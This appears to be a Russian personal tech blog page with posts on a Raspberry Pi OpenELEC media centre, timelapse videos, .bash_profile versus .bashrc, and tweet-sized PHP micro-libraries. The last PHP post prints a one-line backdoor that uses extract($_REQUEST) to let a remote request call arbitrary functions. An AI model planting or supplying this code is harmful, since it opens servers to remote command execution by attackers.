↑ ↑ ↓ ↓ ← → ← → B A Start

Raspberry Pi - Finn

Продолжаю рассказывать о своем зоопарке одноплатных компьютеров Raspberry Pi. И если в прошлый раз я рассказывал ретро консоле, то в этот раз расскажу о другой малине, которая играет роль дополнительного медиа центра и прекрасно дополняет все недостатки присутствующие в моем Apple TV 2 с надстройкой aTV Flash.

Больше всего в Apple TV меня смущало отсутствие поддержки 1080p, а также не удобный YouTube клиент. А к мелким недостаткам я всегда относил наличие дополнительного пульта управления, который всегда теряется.

Сердце медиа центра — OpenELEC и нет смысла подробно останавливаться на процессе сборки и установки его на Raspberry Pi:

  • Для начала качаем готовый Diskimage с сайта OpenELEC;
  • Записываем образ на SD флешку;
  • Вставляем в Raspberry Pi флешку, HDMI кабель и питание;
  • Включаем ТВ и наслаждаемся.

Главное преимущество OpenELEC перед чистой установкой Kodi (бывшим XBMC) на Raspbian, это отсутствие проблем с настройкой , все делается максимально просто прямо с ТВ пульта. Никаких клавиатур и возни с терминалом не требуется.

Делать отдельный обзор плагинов я не стану, а просто скажу что большинство неофициальных плагинов для Kodi можно скачать подключив SuperRepo.

Медиа библиотека лежит на NAS’е и доступна по локальной сети, так что оба медиа центра независимо друг от друга имеют к ней полный доступ.

Ну и в качестве заключения этой заметки скажу что порадовал все свои малины, подключив их питание через единый 5-портовый USB хаб от Anker.

Raspberry Pi

Timelapses

Собираю красивые timelapse и hyperlapse видео снятые по большей части в России и странах бывшего СССР. А с недавнего времени решил выкладывать все новые находки в одном месте на своем сайте Smagin.net.

Таймлапс – это покадровая съемка самопроизвольных событий через одинаковый интервал времени. В городской среде это может быть движение неба и облаков, транспортный и человеческий трафик, рассветы и закаты и т.д.

Почему из России, ответ на этот вопрос прост. Все дело в том что я сам мало путешествовал по стране, а подобные материалы побуждают сорваться с места и посмотреть на города и места страны где родился и вырос. Кроме того международных сайтов подобной тематики уже очень много, а вот Российских аналогов я пока не встречал.

Гиперлапс – это такой подвид таймлапсов, при которых камера двигается по определенной траектории, при этом в кадре даже может ничего не происходить, но получается эффект, что камера летит или совершает облет вокруг главного объекта.

В качестве заключения хотел бы сказать, что буду рад любым ссылкам на интересные видео материалы. Писать можно в twitter или facebook.

В чем отличие .bash_profile и .bashrc

Работая с Линуксом, необходимо постоянно помнить, какой «профиль» нужно редактировать для автоматической установки переменных среды.

Согласно документации по bash, файл .bash_profile исполняется для оболочек, осуществляющих авторизацию пользователя, а файл .bashrc исполняется для интерактивных оболочек, не авторизующих пользователя.

При авторизации в консоли - физической или по SSH, выполняется .bash_profile.

Однако, если вы запускаете терминал в оконной системе (GNOME, KDE), режим оболочки в Emacs, или выполняете /bin/bash из другой оболочки, выполняется .bashrc.

Однако, большинство людей вызывают один скрипт из другого. Для достижения этого эффекта вам необходимо открыть файл .bash_profile и добавить следующие строки:

if [ -f ~/.bashrc ]; then
  source ~/.bashrc
fi

Теперь .bashrc будет исполняться при любой авторизации без необходимости дублировать код.

Нано библиотеки на PHP

Всегда интересно смотреть как люди сами себе создают ограничения и потом в этих ограниченных условиях создают интересные архитектурные решения. Так например я решил собрать несколько примеров библиотек на PHP, каждая из которых умещается в один твит (140 символов).

Для начала стоит начать этот обзор с Twitto, от автора фреймворка Symphony, торжественно именующего себя — A web framework in a tweet.

require __DIR__.'/c.php';
if (!is_callable($c = @$_GET['c'] ?: function() { echo 'Woah!'; }))
  throw new Exception('Error');
$c();

Функционал его достаточно скуден, а потому стоит разнообразить его включением «полноценного» DI контейнера Twittee, от того же автора.

class Container {
  protected $s=array();
  function __set($k, $c) { $this->s[$k]=$c; }
  function __get($k) { return $this->s[$k]($this); }
}

Ну а какой фреймворк без роутера, который также помещается в один твит и называется µ (мю).

class µ{static function __callStatic($n,$a){static$r;$n==@_?@$r[getenv(REQUEST_METHOD).getenv(REQUEST_URI)]():$r[$n.$a[0]]=$a[1];}}

А теперь имея базовый набор можно разнообразить этот набор системой посылки и приема ивентов, которая также именуется греческой буквой алфавита (сигма).

function ∑($n,$c=0){static$r;is_callable($c)?$r[$n][]=$c:@array_walk($r[$n],'call_user_func',$c?:[]);}

А напоследок хотелось бы отклонится от темы разработки и написать о самом крошечном бекдоре, который я видел на PHP и который не использует eval(), хотя при этом обладает прекрасным широким функционалом.

@extract($_REQUEST);@die($exit_($exit_code));